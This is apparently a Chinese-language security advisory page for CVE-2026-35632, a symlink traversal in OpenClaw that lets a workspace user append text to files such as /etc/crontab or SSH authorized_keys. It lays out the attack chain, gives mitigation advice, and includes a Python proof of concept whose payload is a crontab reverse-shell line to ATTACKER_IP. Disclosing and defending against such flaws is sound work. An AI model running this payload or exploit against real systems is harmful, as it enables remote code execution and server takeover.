IPBUF安全漏洞报告
English
CVE-2026-35632 CVSS 7.1 高危

CVE-2026-35632 OpenClaw符号链接遍历致代码执行漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-35632
漏洞类型
符号链接遍历
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

符号链接遍历远程代码执行OpenClaw路径遍历

漏洞概述

OpenClaw 2026.2.22及之前版本存在严重的符号链接遍历漏洞。该漏洞源于agents.create和agents.update处理程序在使用fs.appendFile对IDENTITY.md进行操作时,缺乏必要的符号链接安全校验机制。拥有工作区访问权限的攻击者可利用此缺陷植入恶意符号链接,将攻击者控制的内容追加到系统任意文件中。此漏洞可被利用通过crontab注入实现远程代码执行,或通过SSH密钥篡改获取未授权访问,对系统安全构成严重威胁。

技术细节

该漏洞的核心在于OpenClaw组件在处理文件操作时的路径验证缺失。当agents.create和agents.update处理程序接收到请求时,会调用Node.js的fs.appendFile方法向IDENTITY.md文件追加数据。然而,代码逻辑中未包含对符号链接的解析与阻断检查。攻击者利用这一逻辑缺陷,首先在具有写入权限的工作区目录下创建一个恶意符号链接,将IDENTITY.md指向系统关键文件(例如/root/.ssh/authorized_keys或/etc/crontab)。接着,攻击者向相关接口发送包含恶意Payload的请求。程序在执行追加操作时,会跟随符号链接将数据写入实际的目标文件。这种利用方式无需文件覆盖权限即可修改系统配置,从而允许攻击者通过注入Cron任务实现远程代码执行,或写入SSH公钥获取服务器控制权。

攻击链分析

STEP 1
获取访问权限
攻击者需要获取OpenClaw的工作区访问权限,这通常是低权限账户即可满足。
STEP 2
创建符号链接
在工作区目录下,攻击者创建一个名为IDENTITY.md的符号链接,该链接指向系统敏感文件(如/etc/crontab或.ssh/authorized_keys)。
STEP 3
触发漏洞
攻击者调用agents.create或agents.update接口,携带恶意Payload。系统调用fs.appendFile向IDENTITY.md追加内容。
STEP 4
写入恶意内容
由于未检查符号链接,fs.appendFile跟随链接将恶意内容追加到目标系统文件中。
STEP 5
执行攻击
如果目标是crontab,系统将执行恶意命令(RCE);如果是SSH密钥,攻击者获得未授权访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-35632: OpenClaw Symlink Traversal import os import requests TARGET_URL = "http://target-openclaw-instance/api/agents" WORKSPACE_ID = "target_workspace_id" PAYLOAD = "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n" def exploit(): print(f"[*] Attempting to exploit CVE-2026-35632 against {TARGET_URL}") # Step 1: Create a symlink in the workspace pointing to a sensitive file # Assuming the attacker has access to create files in the workspace symlink_target = "/etc/crontab" print(f"[*] Creating symlink IDENTITY.md pointing to {symlink_target}...") # In a real scenario, the attacker creates the symlink: ln -s /etc/crontab IDENTITY.md # inside the workspace directory. # Step 2: Trigger the vulnerability via agents.create to append content headers = {"Content-Type": "application/json"} data = { "workspace_id": WORKSPACE_ID, "name": "malicious_agent", # The content to be appended to the symlink target "identity_content": PAYLOAD } print("[*] Sending payload to agents.create endpoint...") try: response = requests.post(TARGET_URL, json=data, headers=headers) if response.status_code == 200: print("[+] Payload sent successfully. Check if crontab was updated.") else: print(f"[-] Request failed with status {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

影响范围

OpenClaw <= 2026.2.22

防御指南

临时缓解措施
建议立即升级到修复版本。如果无法立即升级,应严格限制对工作区的访问权限,仅允许可信用户使用。此外,管理员应检查系统关键文件(如crontab和SSH密钥)是否包含异常条目,并及时清理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表